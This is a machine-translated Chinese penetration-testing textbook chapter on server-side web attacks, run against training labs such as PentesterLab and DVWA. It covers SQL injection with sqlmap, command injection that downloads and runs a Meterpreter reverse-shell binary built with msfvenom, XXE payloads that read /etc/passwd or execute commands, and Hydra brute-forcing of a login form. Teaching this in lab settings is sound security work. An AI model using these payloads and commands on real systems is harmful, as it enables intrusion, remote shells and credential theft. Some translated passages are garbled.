服务器端攻击
正如我们在第4章中所了解到的,大多数组织都会提供一个可访问Internet(或Intranet,如果在防火墙后面进行测试)的网站,以向匿名用户推销组织能力、联系信息等。这些类型Web服务的一种常见部署方法是托管在非军事区(DMZ)中,非军事区是一个逻辑上或物理上独立的子网,用于公开组织面向公众的外部服务。
注入攻击
在本节中,我们将深入探讨三种不同的注入攻击:
lSQL注入(SQLi)
l命令注入
lXML外部实体注入(XXE)
我们在第4章中了解到,在漏洞扫描期间,您应该检查HTTP参数,以查找Web应用程序可能无法验证的可能注入点,无论是通过客户端代码(JavaScript)还是使用服务器端代码(如PHP)。例如,HTML表单验证可以通过JavaScript进行处理,当用户单击Submit按钮时,输入到用户输入字段(如Name, E-mail, Address等)的数据可以通过JavaScript函数进行处理。如果输入字段包含无效数据,则不会提交表单页。但是,此过程位于客户端,用户可以操纵它来绕过此类检查。通过使用类似的验证规则,服务器端代码可以提供额外的保护层,以确保数据得到适当的清理(即删除无效字符)并在后处理期间得到验证。不正确的输入验证可能会导致网站或应用程序服务通过各种攻击途径受损,包括XXE、命令注入和SQLi。
SQL注入
为了测试SQLi,您需要对用于在数据库上执行操作的命令和语法有一定程度的理解。结构化查询语言(SQL)用于管理远程数据库管理系统(RDMSs)中的数据。我们讨论了一些常见的第4章已经在第4章介绍了诸如PostgreSQL、Oracle和MySQL之类的RDMS。SQL遵循这些数据库中的常见语法,用于构建查询,如下所示:
lINSERT:用于在数据库中创建新记录的命令
lSELECT:用于从数据库检索记录的命令
lUPDATE:用于更新数据库中的现有记录的命令
lDELETE:用于删除现有数据库的命令
注意:在本章中,我们将讨论并利用与MySQL RDMS相关的SQL命令语法。www.sql-workbench.net/dbms_comparison.html,它提供了可在不同RDM的SQL语句中使用的常见SQL功能的比较。有不同的方法连接到远程主机上运行的MySQL数据库。连接的一种方法是使用以下命令语法。这将提示您输入用户密码:
mysql -u-p -h
注意:如果使用--password选项并在命令行中指定密码,密码将显示在本地进程列表中,并且您正在(像BASH)中工作的shell可能会记录您的命令历史记录并将密码存储在历史记录文件中。这是一种错误的做法,可能会为攻击者提供额外的网络访问权限。
如果您以"root "用户身份连接到MySQL服务器,那么您可能拥有所有权限,可以操作或创建任何您想要的数据库,甚至可能通过用户定义函数(UDF)获得shell权限。要查看MySQL用户账户拥有的权限列表,可以执行show privileges;在mysql>提示符下。请确保使用分号来完成每个命令语句。如果您忘记了,MySQL将继续提示输入其他命令语法,直到它识别出分号为止。要访问MySQL中的特定数据库,可以执行use;命令然后,一旦在当前数据库中操作,就可以使用表9-1中所示的命令开始处理其中的数据。
Command |
Purpose |
SHOW tables; |
List tables in a database. |
DESC <table name>; |
Describe column (field)values in a table. |
SELECT <column> from <table>; |
从表中选择字段。例如,要查看MYSQL数据库用户表中的所有用户账户,请执行以下操作: SELECT host,user,authentication string from mysql.user; 另一个示例是使用WHERE子句根据特定字段值过滤查询结果。从mysql中选择所有记录的示例。user='root'所在的用户表: SELECT host, authentication string from mysql.user WHERE user "root"; |
INSERT INTO<tablename>(column1,column2, column3,... ) VALUES (valuel, value2,value3, …); |
INSERT命令允许以特定列顺序插入具有给定值的新记录。这些值必须与为每列定义的数据库架构相匹配,如使用DESC命令描述给定表架构时所示。RDBM系统使用密钥管理数据库中的唯一记录。主键是唯一标识表中每一行的一列或一组列,通常使用“id”之类的名称进行引用。外键是一个表中的字段,与另一个表中的另一个字段相匹配。这会对相关表中的数据进行约束,并帮助MySQL等数据库保持引用完整性。 |
DELETE <database name>; |
从MySQL中删除给定数据库。您也可以简称为DEL。 |
表9-1常见MySQL命令
MySQL中的用户定义函数(UDF)
UDF是一种使用新函数扩展MySQL的方法,该函数的工作方式类似于原生(内置)MySQL函数,如CONCAT()。为了在渗透式测试期间使用UDF,MySQL目标需要已经installed/configured了sys_eval和sys_exec函数,并在磁盘上有一个写的地方(对于Linux,通常是/tmp,对于Windows,如果用户有系统权限,这通常是默认安装中的情况,您可以在任何地方写)。如果受损的MySQL服务器具有这些功能,并且用户账户有权在MySQL查询中执行这些功能,则可以使用sqlmap命令连接并执行操作系统shell,使用类似的命令语法: # sqlmap -d "mysql://root:password@192.168.1.60:3306/test" --os-shell sqlmap命令仍然会将您拖到os shell>提示符;但是,如果这些函数不存在,您将在连接到数据库后看到警告消息。要了解MySQL中UDF的更多信息,可以查看以下Metasploit模块:exploit/multi/mysql/mysql_udf_payload |
受到SQL注入攻击的HTTP参数通常包括两种数据类型:一种是整数;另一种是字符串。在Web GET或POST请求中,包含字符串值的参数看起来类似于以下内容:http://example.com/test.php?name=John%20Smith,其中%20是空白的URL编码。Web服务器或应用程序处理的URL不能包含空格。因此,URL编码有助于用%和两个十六进制数字替换可能有害的ASCII值。在Web GET或POST请求中,整数值通常类似于以下内容:
http://example.com/test.php?id=1.
提示您可以在www.w3schools.com上了解有关URL编码和其他Web概念(如HTML、CSS和JavaScript)的更多信息。下面的PHP代码示例显示了如何在服务器上处理针对"id="值的HTTP GET请求:
$id = $_GET["id"]; $item= mysql_query("SELECT * FROM my.store WHERE id=".$id); $row = mysql_fetch_assoc($item); // ..additional code omitted below.. ?>
PHP代码中的mysql_query()函数将针对my.store构建一个查询。存储数据库并返回ID字段与给定请求匹配的所有选定数据。mysql_fetch_assoc()函数将返回查询生成的值的结果数组。不同类型的SQLi攻击包括以下几种:
l盲SQL注入:向数据库询问一系列正确或错误的问题,并评估Web服务器的响应。
l基于错误的SQL注入:使用数据库错误派生有效语句,该语句可用于从数据库中提取其他内容。
l联合查询SQL注入:构建在查询中使用的原始SELECT()语句的基础上,以将结果扩展到预期之外。
l堆叠查询SQL注入:其工作方式是终止原始查询并执行另一个查询,例如从mysql中选择所有记录。用户表。例如:
http://example.com/test.php? id=1;select%20*%20from%20mysql.users--
要评估参数是否是可注入的,如前一个示例中的id= field,您可能需要尝试一系列注入标准,以从数据库中引出错误,如前一章所述。这也称为基于错误的SQL注入,其中后端数据库产生的错误将根据潜在的注入标准进行评估。MySQL错误,例如:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your
MySQL服务器版本,以便在第1行的""附近使用正确的语法。可以帮助您开发有效的SQL注入语法,以用于针对可注入参数。但是,如果Web服务器出现一般性错误,如"抱歉,您的搜索条件不正确",则该参数可能仍有漏洞,但您的查询无效,需要对其进行故障排除。为了解决查询故障,可以使用所谓的盲SQLi,这是在看不到数据库输出时从数据库中过滤数据的另一种方法。利用盲SQLi的两种常用方法是基于布尔和基于时间的。基于布尔值的SQLi是向数据库询问True(例如,id=1和1=1)或False(例如,id=1和1=2)问题,并根据应用程序给出的响应确定答案,其中的响应可能是内容错误或空白页。基于时间的SQLi依赖于数据库在给定的时间内暂停(或休眠),然后返回结果,这表明SQL查询已成功执行。例如,针对示例PHP代码中的theysql_query()执行基于时间的SQLi可能如下所示
http://example.com/test.php?id=1'and sleep(5)—
如果id= parameter易受盲SQLi影响,则网页加载将延迟五秒钟。至此,您可以继续使用盲SQLi枚举构成数据库名称、表名称的有效字符,可能还有mysql中的密码/哈希。用户表,具体取决于执行查询的数据库用户所拥有的权限。这是一种线性搜索,其中每个值都会进行计算,直到找到正确的字符:
- 如果数据库名称的第一个字母是"a",请等待五秒钟。
- 如果数据库名称的第一个字母是"b",请等待五秒钟。
二进制搜索是另一种有助于加速盲SQLi攻击的方法,在这种方法中,可以从排序数组中识别目标值的位置。其工作原理是:二进制搜索将确定数组的中间元素,并将其与目标值进行比较(数组将是组成ASCII表的所有字符)。如果中间元素匹配,则返回。但是,如果该值大于中间元素位置,则将从搜索中丢弃数组的下半部分,并且仅在搜索条件中使用剩余的上半部分。漏洞数据库网站上的"使用位转移的更快盲MySQL注入"论文(https://www.exploit-db.com/papers/17073)提供了如何在盲SQLi攻击期间优化二进制搜索的示例。
1、但很有可能盲SQLi很耗时。渗透式测试实验室 (https://pentesterlab.com)提供免费的实验室和练习,你可以用它们来展示你的测试技能,包括SQLi。本节的下一部分将重点介绍从渗透式测试实验室网站的"从SQL注入到Shell "练习中下载国际标准组织(ISO)磁盘映像。本ISO还随本书提供了在线内容(详情请参见附录)。在本练习中,我假设您有一个可用的、更新的Kali Linux副本和某种类型的虚拟化软件(如VMware Workstation、VMware Player、Oracle Virtualbox等)来托管ISO磁盘映像。接下来,我们将演示如何使用sqlmap来测试和评估我的精彩Photoblog PHP Web应用程序中SQLi漏洞的Web参数。一旦易受攻击的VM在您的测试环境中启动并运行,请导航到VM托管的网页:http://。(https://pentesterlab.com/exercises/from_sqli_to_shell/course)
2、如果您单击菜单栏上的测试,您将被带到另一个呈现发布到博客页面的其他图像的页面。URL中填充了以下内容:
http:///cat.php?id=1
3、让我们继续测试id=参数,在id字段中的数字后面插入一个引号('),如下所示"?id=1"。将URL提交回Web应用程序后,您应该会收到前面讨论的MySQL 1064错误。
4、现在我们知道数据库正在处理我们的请求,而应用程序没有验证输入并从请求中过滤出特殊字符,我们可以使用sqlmap测试参数。在Kali Linux的命令行中,执行以下操作
# sqlmap -u http:///cat.php?id=1
sqlmap命令应将数据库标识为MySQL,并询问是否应跳过其他RDM的有效负载测试。键入Y并按ENTER键。然后再次键入Y以包含MySQL的所有测试,并在要求继续测试其他参数时键入N。
注意:sqlmap将在中的用户主目录下(如果使用Kali,则为/root)输出结果((log, target.txt, and session.sqlite).sqlmap/output/。
5、如果我们调查日志文件,我们将看到id参数是通过HTTP GET请求计算的,并且发现有多种注入类型,包括
l基于布尔的盲
l基于错误
lAND/OR基于时间的盲
下图显示了注入类型以及使用sqlmap测试的每个给定负载,以证明注入是可能的
6、下一步是使用sqlmap攻击SQLi漏洞,以便从数据库中读取任意数据。如果您注意到PHP Web应用程序菜单栏,则会有一个管理员登录页面。让我们看看是否可以从数据库中提取用户和可能的哈希值,以破坏登录访问。由于这是一个实验室环境,让我们运行与步骤4中使用的相同的sqlmap命令,但在命令语法中添加"-a",并让sqlmap使用执行查询的数据库用户的权限对MySQL数据库执行任何事情。您将看到,sqlmap能够从"photoblog"数据库的"users"表中提取用户和哈希。如果我们想用一个单词表来破解MD5哈希,这也很好。只需按ENTER键即可继续使用默认值。一两分钟后,SQL map应该能够使用其默认单词列表破解哈希。
7、sqlmap结果再次存储在/root/中。sqlmap/output/包含一个名为dump的新目录,该目录为sqlmap可以从中发现和枚举信息的每个数据库都有子目录。dump/photoblog/users.csv文件包含用于登录管理页面的用户名和密码。以下是Photoblog应用程序的成功登录管理页面:
提示:与使用-a选项使用sqlmap捕获所有内容不同,您可以通过使用-tables从当前数据库中查找应用程序正在查询的给定HTTP参数中的所有表,从战略上研究您正在查找的内容。然后可以使用--sql query="select * from photoblog.users",并从users表中返回每条记录。然后,使用规则将从sqlmap检索到的MD5哈希传递给一个单词列表,并使用John the Ripper (JtR)将其传递给一个单词列表
# john --format=Raw-MD5 –-rules --wordlist=rockyou.txt
另一方面,使用-a选项使用sqlmap测试所有内容可能是危险的。如果数据库已满负荷运行,则在测试期间运行同步查询可能会无意中导致数据库崩溃。在执行可能导致数据库挂起的查询(例如基于时间的攻击)后,监视数据库/Web服务器的运行状况和状态是一种很好的做法。在生产环境中操作时,应与客户进一步讨论SQL注入攻击和在参与过程中使用sqlmap,以确保客户了解使用自动化SQL注入测试工具带来的潜在风险。其他可以用来提高SQLi技能的练习网站有
• https://hack.me/t/SQLi • www.gameofhacks.com/ • https://sqlzoo.net/hack
命令注入
在本节中,我们将评估命令注入攻击,以及我们如何利用Metasploit来帮助使用msfvenom构建自定义有效负载,并将这些有效负载与多处理器一起使用,以生成MeterPeter会话,该会话可用于提升权限并进一步转向目标组织的网络。本节的下一部分将重点介绍从渗透式测试实验室网站的"渗透式测试的Web"练习下载ISO磁盘映像。本ISO还随本书提供了在线内容(详情请参见附录)。在本练习中,我假设您有一个可用的、更新的Kali Linux副本和某种类型的虚拟化软件(如VMware Workstation、VMware Player、Oracle Virtualbox等)来托管ISO磁盘映像。打开VM电源后,打开Web浏览器并导航到位于http://的主页。然后,我们将演示如何利用位于易受攻击VM主页上的命令注入标题下示例1的ip=参数中发现的命令注入漏洞。
1、给定以下易受攻击的Web参数ip=,我们可以测试各种命令注入攻击,第一种是Web应用程序托管在什么类型的操作系统和体系结构上。下面是在vulnerable参数中添加uname -a时的输出示例。
带curl的命令注入
如果你想获得创造性,你可以使用一些命令功夫,使用curl执行命令,然后过滤掉返回的命令输出。您的命令如下所示:
命令:
# curl http://192.168.1.108/commandexec/example1.php?ip=";uname%20-a" 2>&1 | awk '//{flag=1;next}/pre>/{flag=0}flag'
输出:
Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686
命令用于启动HTTP GET请求,然后将标准错误(stderr)重定向到标准输出(stdout),然后将curl输出导入awk过滤器,该过滤器仅返回网页中预格式化文本之间的数据(和HTML标记)。剩下的是由Web服务器处理的命令注入输出。
2、既然我们知道体系结构是x86,主机操作系统是Linux(Debian),那么让我们使用msfvenom创建一个漏洞来生成一个反向我们可以使用Metasploit多处理器从中接收回调的MeterMeter外壳负载。首先,让我们使用msfvenom生成名为"cmd"的漏洞,使用x86 Linux体系结构的反向计量器负载连接回您的IP地址和本地端口(4444/tcp):
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=4444 -f elf -o cmd
3、然后使用Python在端口80上托管Web服务器,在"cmd "漏洞所在的同一目录中使用SimpleHTTPServer模块:
# python -m SimpleHTTPServer 80
4、在Kali盒上的另一个终端窗口中,启动msfconsole并在msf>提示符下键入以下命令:
msf> use exploit/multi/handler msf exploit (multi/handler)>set payload linux/x86/meterpreter/reverse tcp msf exploit(multi/handler) >set lhost msf exploit(multi/handler)>exploit
现在,让我们将一系列命令串在一起,让我们的目标下载该漏洞,向该漏洞添加一个执行位,然后执行它,以便获得一个反向shell。在Web浏览器中,将以下命令语法附加到ip=参数,然后执行HTTP GET请求:
ip=127.0.0.1;wget%20-O%20/tmp/cmd%20http:///cmd;chmod%20755%20/tmp/cmd;/tmp/cmd
6、Web服务器应先执行wget,从Python Simple HTTP Server下载"cmd "漏洞,然后使用chmod追加执行位,然后执行漏洞;作为回报,您应该在Metasploit中看到一个MeterPeter会话派生,如以下示例所示:
XML外部实体注入(XXE)
解析XML消息的Web应用程序服务器常见的另一个漏洞是XML外部实体(XXE)注入。XML实体可以在应用程序内部或外部声明,并用于定义特殊字符的快捷方式。实体有三个部分:一个与(&)、一个实体名称和一个分号(;)。要在外部文档类型定义(DTD)中声明外部实体,可以使用以下语法:
<!ENTITYexample SYSTEM "https://www.example.com/entities.dtd">
DTD用于定义XML文档的结构和属性。XXE注入发生在HTTP POST请求期间(在极少数情况下,GET请求可能会促进这种类型的攻击)修改或附加XML文档内部的声明指针到原始实体声明以外的位置时,并且应用程序处理该请求并返回结果,而无需先验证输入。以下是一个概念验证XML文档,其中包含本地文件/etc/passwd的内部DTD实体声明:
<?xmlversion="1.0"encoding="ISO-8859-1?> <DOCTYPE test[<!ELEMENT test ANY> <ENTITY loginSYSTEM file:///etc/passwd]> <auth> <user>&login;</user> <password>Password</password> </auth>
lThe!DOCTYPE test定义文档的根元素为test。
lThe! ELEMENT测试定义测试元素可以包含任何元素。
lThe! ELEMENT称为login,并声明为本地文件/etc/passwd。
lDTD 中的XML标记定义了应用程序解析和处理的实体值。在这种情况下,用户字段由内部声明的实体指定。
一旦XML文档与POST数据一起提交到服务器,应用程序将处理代码并告诉服务器查找内部实体,file:///etc/passwd,然后将响应注入用户字段。应用程序配置为返回刚刚登录的"用户"的名称;但是,在这种情况下,"用户"将是本地/etc/passwd文件的内容:
You have logged in as user root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:X:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
PHP是独立于平台开发的,可以在所有不同类型的操作系统上运行。PHP支持许多不同类型的模块,可以安装和配置这些模块来帮助处理数据,甚至执行操作系统命令。默认情况下不会加载Expect模块,但如果启用,它可能会增加XXE漏洞的重要性。有两种类型的Expect函数,expect_expectl()和expect_popen(),它们通过命令shell(如BASH)执行命令。如果安装了Expect模块,我们可以修改XML负载以利用Expect模块,执行系统命令,并查看输出:
<?xmlversion=1.0"encoding="ISO-8859-1"?> <DOCTYPE foo [<!ELEMENTfoo ANY> <ENTITY xxeSYSTEM "expect://id">] <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
服务器的响应如下所示:
You have logged in as user uid=33(www-data) gid=33(www-data) groups=33(www-data)
XXE是OWASP前十名的一部分。尽管在声明内部和外部指针时,通过XXE执行远程代码可能不像读取系统文件那样普遍,但它仍然是一种攻击类型,可导致应用程序服务器操作系统完全受损,并使攻击者能够深入组织网络。要了解有关XXE攻击的更多信息以及如何缓解配置较弱的XML解析器中的漏洞,请查看位于OWASP网站上的XML外部实体XXE预防备忘单(https://www.owasp.org)。
攻击身份验证和会话管理
在本节中,我们将仔细研究针对用户名和密码登录以及经过身份验证的会话令牌的三种不同类型的身份验证攻击。这些主题包括以下类型的攻击:
- 凭证强制
- 身份验证旁路
- 会话预测
在第4章中,我们了解了密码复杂性规则,以及应该如何测试密码以确保它们符合某些合规性标准。否则,密码可能会受到暴力或基于字典的攻击。身份验证绕过和会话预测攻击是由于应用程序开发不佳或实现缺陷造成的。在本节中,我们将介绍渗透式测试可以用来利用这些类型漏洞的各种工具和方法。
暴力登录页面
HTML表单用于从Web浏览器的用户提供的输入中读取和处理数据。用户在表单字段中输入数据并单击按钮提交数据后,浏览器将执行HTTP POST请求,并将消息正文发送给Web应用程序进行处理。在Web浏览器中查看HTML源代码时,HTML表单将如下所示:
<formaction="/login.php" method="post"> Username:<inputtype="text" size="20" name="username"><br> Password:<inputtype="text" size="8" name="password"><br> <inputtype="submit" value="Submit"> </form>
- 此表单页面示例处理来自用户的两个输入字段:用户名和密码。在渗透式测试约定期间,您可能会遇到允许用户通过用户名和密码验证访问的应用程序服务器。这些类型的表单通常是暴力登录攻击的目标。CeWL是一个Ruby应用程序,它爬行给定的URL并返回一个单词列表,可以用于密码破解程序(如John the Ripper)甚至暴力登录工具(如Hydra)。Hydra提供暴力登录功能,并支持多种类型的协议,包括SSH、MySQL、SMTP、Telnet、LDAP、RDP、SMB和HTTP。CeWL和Hydra都预装在Kali Linux上。
提示在示例登录页面的HTML源代码中注意,文本字段大小限制设置为8,这意味着它将只处理输入框中的前八个字符。因此,如果要构建一个单词列表或密码规则来强制登录,则只需定义密码或规则,长度最多为8个字符。该死的易受攻击的Web应用程序(DVWA)(http://dvwa.co.uk)是免费软件,作为Web应用程序运行,容易受到许多常见类型的基于Web的攻击。用户可以根据GNU通用公共许可证的条款下载、安装和修改应用程序。我将使用DVWA作为如何强制登录表单页面的基本示例。设置DVWA后,您可以在Web浏览器中使用以下URL访问登录页面:http:///DVWA/login.php。登录页面将类似于图9-1。
图9-1 DVWA登录页面
如果我们不知道登录的用户名和密码,您可以使用您最喜欢的单词列表,即Kali Linux中的/usr/share/wordlist中的一个,或者使用CeWL对URL创建自定义单词列表,使用从目标网页中提取的单词和短语。以下是在Kali Linux中从命令行执行CeWL的示例,如图9-2所示:
图9-2 CeWL命令输出
# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa
以下命令选项可用:
- -v详细输出
- -d三脚架至的深度(Depth to spider to);默认值为2
- -m最小字长
- -w将输出写入文件
现在,我们可以使用Hydra的单词列表来强制登录页面。然而,在使用Hydra之前,我们需要捕获发送到服务器进行处理的POST请求,因为我们需要将正确的参数输入Hydra,以便我们的暴力请求可以正确格式化。因此,启动您最喜欢的Web代理软件来拦截对服务器的虚假登录请求。(我使用了Burp代理,但OWASP ZAP、Firefox开发人员工具、篡改数据等也是可以用来完成此任务的其他工具。)在启用Burp中的代理并将Web浏览器配置为使用Burp代理端口后,我能够捕获到服务器的登录请求,如图9-3所示。
图9-3 Burp代理登录请求
正如您在POST请求的正文中所看到的,用户名=、密码=、登录名=是构成登录请求的三个有效参数。现在我们有了提供Hydra的正确Web参数,我们可以在Kali Linux中从命令行执行以下语法:
#hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
示例输出如图9-4所示
图9-4 Hydra命令输出
命令选项如下:
- -l登录用户
- -P从文件中加载多个密码
- http-post-form用于请求的服务模块。
- ""模块选项;在本例中,我们使用URL和POST消息正文。^USER^和^PASS^填充有用户和密码命令选项。
- -V详细模式。
根据Hydra的输出,我们成功地识别了管理员用户的有效密码,使用了从DVWA页面中刮取的13个可能的密码。CeWL在网页底部抓取"提示"信息时,发现了"密码"文本。
# cewl -v -d 2 -m 5 -w dvwa_wordlist http://192.168.1.52/dvwa #hydra -l admin -P dvwa_wordlist 192.168.1.52 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V